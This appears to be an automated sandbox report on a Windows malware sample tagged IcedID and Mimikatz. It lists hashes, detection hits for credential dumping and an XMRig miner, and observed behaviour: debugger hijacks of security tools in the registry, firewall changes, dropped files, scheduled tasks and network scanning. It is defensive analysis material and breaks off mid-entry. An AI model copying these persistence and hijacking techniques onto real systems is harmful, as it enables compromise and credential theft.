Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
28/05/2024, 17:45
Behavioral task
behavioral1
Sample
2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe
Resource
win7-20240215-en
General
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Target
2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe
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Size
7.7MB
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MD5
0622fe2a57ef1506f59bf9689192c83a
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SHA1
78656887451a637cc4cb7e179930a4eeaa67956e
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SHA256
37951da0fdb24d746d061dcb7122bd9a5eaca03813126b0d1e2df0dcaecc29ff
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SHA512
4ff85b0e60438d75c6bafe95187e4dcb4edb1ceb51387a6193136de313b7ee6f4ff85ea9486979bcff1a20fe67fd5b77c9257786adbdc9b8e464520be136f40b
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SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2500 created 1120 2500 yrklftl.exe 19 -
Contacts a large (28138) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
resource yara_rule behavioral1/memory/288-138-0x000000013F3E0000-0x000000013F4CE000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 35 IoCs
resource yara_rule behavioral1/memory/2824-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/memory/2824-4-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x0009000000015cd9-5.dat UPX behavioral1/memory/2828-9-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x00050000000195b2-126.dat UPX behavioral1/memory/1328-133-0x0000000001180000-0x000000000126E000-memory.dmp UPX behavioral1/memory/288-135-0x000000013F3E0000-0x000000013F4CE000-memory.dmp UPX behavioral1/memory/288-138-0x000000013F3E0000-0x000000013F4CE000-memory.dmp UPX behavioral1/files/0x00050000000195f7-148.dat UPX behavioral1/memory/1732-152-0x000000013F540000-0x000000013F59B000-memory.dmp UPX behavioral1/memory/1732-164-0x000000013F540000-0x000000013F59B000-memory.dmp UPX behavioral1/files/0x0005000000019607-166.dat UPX behavioral1/memory/2500-168-0x00000000029D0000-0x0000000002AF0000-memory.dmp UPX behavioral1/memory/2360-170-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2756-178-0x000000013FE10000-0x000000013FE6B000-memory.dmp UPX behavioral1/memory/2756-180-0x000000013FE10000-0x000000013FE6B000-memory.dmp UPX behavioral1/memory/2740-185-0x000000013FCA0000-0x000000013FCFB000-memory.dmp UPX behavioral1/memory/2740-187-0x000000013FCA0000-0x000000013FCFB000-memory.dmp UPX behavioral1/memory/2364-192-0x000000013F0E0000-0x000000013F13B000-memory.dmp UPX behavioral1/memory/2364-194-0x000000013F0E0000-0x000000013F13B000-memory.dmp UPX behavioral1/memory/2360-196-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2800-201-0x000000013F7B0000-0x000000013F80B000-memory.dmp UPX behavioral1/memory/2800-203-0x000000013F7B0000-0x000000013F80B000-memory.dmp UPX behavioral1/memory/2360-211-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2360-212-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2500-215-0x00000000019A0000-0x00000000019FB000-memory.dmp UPX behavioral1/memory/2360-214-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2360-217-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2360-218-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2360-234-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2360-235-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2360-240-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2360-292-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2360-299-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX behavioral1/memory/2360-301-0x000000013FFB0000-0x00000001400D0000-memory.dmp UPX -
XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/2360-196-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-211-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-212-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-214-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-217-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-218-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-234-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-235-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-240-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-292-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-299-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig behavioral1/memory/2360-301-0x000000013FFB0000-0x00000001400D0000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 6 IoCs
resource yara_rule behavioral1/memory/2824-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2824-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/files/0x0009000000015cd9-5.dat mimikatz behavioral1/memory/2828-9-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/1328-134-0x0000000001180000-0x000000000126E000-memory.dmp mimikatz behavioral1/memory/288-138-0x000000013F3E0000-0x000000013F4CE000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts yrklftl.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts yrklftl.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 1916 netsh.exe 1264 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe -
Executes dropped EXE 16 IoCs
pid Process 2828 yrklftl.exe 2500 yrklftl.exe 1636 wpcap.exe 2116 itcusielr.exe 288 vfshost.exe 328 xohudmc.exe 1732 vekeuubbl.exe 452 rifzsk.exe 2360 mitzpm.exe 2756 vekeuubbl.exe 2740 vekeuubbl.exe 2364 vekeuubbl.exe 2800 vekeuubbl.exe 2860 yrklftl.exe 776 mqmqbrmul.exe 2232 yrklftl.exe -
Loads dropped DLL 22 IoCs
pid Process 2260 cmd.exe 2260 cmd.exe 2012 cmd.exe 1636 wpcap.exe 1636 wpcap.exe 1636 wpcap.exe 1636 wpcap.exe 1636 wpcap.exe 600 cmd.exe 2116 itcusielr.exe 2116 itcusielr.exe 1328 cmd.exe 1328 cmd.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2500 yrklftl.exe 2132 cmd.exe -
resource yara_rule behavioral1/files/0x00050000000195b2-126.dat upx behavioral1/memory/288-135-0x000000013F3E0000-0x000000013F4CE000-memory.dmp upx behavioral1/memory/288-138-0x000000013F3E0000-0x000000013F4CE000-memory.dmp upx behavioral1/files/0x00050000000195f7-148.dat upx behavioral1/memory/1732-152-0x000000013F540000-0x000000013F59B000-memory.dmp upx behavioral1/memory/1732-164-0x000000013F540000-0x000000013F59B000-memory.dmp upx behavioral1/files/0x0005000000019607-166.dat upx behavioral1/memory/2500-168-0x00000000029D0000-0x0000000002AF0000-memory.dmp upx behavioral1/memory/2360-170-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2500-177-0x00000000019A0000-0x00000000019FB000-memory.dmp upx behavioral1/memory/2756-178-0x000000013FE10000-0x000000013FE6B000-memory.dmp upx behavioral1/memory/2756-180-0x000000013FE10000-0x000000013FE6B000-memory.dmp upx behavioral1/memory/2740-185-0x000000013FCA0000-0x000000013FCFB000-memory.dmp upx behavioral1/memory/2740-187-0x000000013FCA0000-0x000000013FCFB000-memory.dmp upx behavioral1/memory/2364-192-0x000000013F0E0000-0x000000013F13B000-memory.dmp upx behavioral1/memory/2364-194-0x000000013F0E0000-0x000000013F13B000-memory.dmp upx behavioral1/memory/2360-196-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2500-200-0x00000000019A0000-0x00000000019FB000-memory.dmp upx behavioral1/memory/2800-201-0x000000013F7B0000-0x000000013F80B000-memory.dmp upx behavioral1/memory/2800-203-0x000000013F7B0000-0x000000013F80B000-memory.dmp upx behavioral1/memory/2360-211-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2360-212-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2500-215-0x00000000019A0000-0x00000000019FB000-memory.dmp upx behavioral1/memory/2360-214-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2360-217-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2360-218-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2360-234-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2360-235-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2360-240-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2360-292-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2360-299-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx behavioral1/memory/2360-301-0x000000013FFB0000-0x00000001400D0000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 15 ifconfig.me 16 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
description ioc Process File created C:\Windows\system32\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\rifzsk.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat yrklftl.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\rifzsk.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2326C1864DE719190C396A6E8734D8B4 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2326C1864DE719190C396A6E8734D8B4 yrklftl.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\iibfpugis\UnattendGC\specials\spoolsrv.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\docmicfg.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\svschost.xml yrklftl.exe File created C:\Windows\gtgcurlb\docmicfg.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\docmicfg.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\ip.txt yrklftl.exe File opened for modification C:\Windows\iibfpugis\fewectaiq\Packet.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\trfo-2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\crli-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\posh-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\trch-1.dll yrklftl.exe File created C:\Windows\iibfpugis\Corporate\vfshost.exe yrklftl.exe File created C:\Windows\gtgcurlb\yrklftl.exe 2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe File created C:\Windows\iibfpugis\UnattendGC\specials\exma-1.dll yrklftl.exe File created C:\Windows\gtgcurlb\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\tucl-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\xdvl-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\AppCapture32.dll yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\Packet.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\zlib1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\schoedcl.xml yrklftl.exe File created C:\Windows\gtgcurlb\schoedcl.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\Corporate\mimilib.dll yrklftl.exe File created C:\Windows\ime\yrklftl.exe yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\itcusielr.exe yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\wpcap.dll yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\mqmqbrmul.exe yrklftl.exe File opened for modification C:\Windows\iibfpugis\fewectaiq\Result.txt mqmqbrmul.exe File created C:\Windows\iibfpugis\UnattendGC\specials\svschost.exe yrklftl.exe File opened for modification C:\Windows\gtgcurlb\svschost.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\spoolsrv.xml yrklftl.exe File created C:\Windows\iibfpugis\upbdrjv\swrpwe.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\ucl.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\schoedcl.exe yrklftl.exe File created C:\Windows\iibfpugis\Corporate\mimidrv.sys yrklftl.exe File created C:\Windows\gtgcurlb\spoolsrv.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\spoolsrv.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\coli-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\libxml2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\tibe-2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\spoolsrv.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\Shellcode.ini yrklftl.exe File opened for modification C:\Windows\iibfpugis\Corporate\log.txt cmd.exe File opened for modification C:\Windows\gtgcurlb\yrklftl.exe 2024-05-28_0622fe2a57ef1506f59bf9689192c83a_hacktools_icedid_mimikatz.exe File created C:\Windows\iibfpugis\fewectaiq\wpcap.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\libeay32.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\vimpcsvc.exe yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\scan.bat yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\ssleay32.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\AppCapture64.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\docmicfg.xml yrklftl.exe File created C:\Windows\gtgcurlb\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\cnli-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\docmicfg.xml yrklftl.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 716 sc.exe 336 sc.exe 608 sc.exe 1368 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x0009000000015cd9-5.dat nsis_installer_2 behavioral1/files/0x0007000000015e6d-15.dat nsis_installer_1 behavioral1/files/0x0007000000015e6d-15.dat nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1840 schtasks.exe 2820 schtasks.exe 2140 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ca-9a-38-b9-68-70\WpadDecision = "0" yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ca-9a-38-b9-68-70\WpadDecisionReason = "1" yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f005c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet 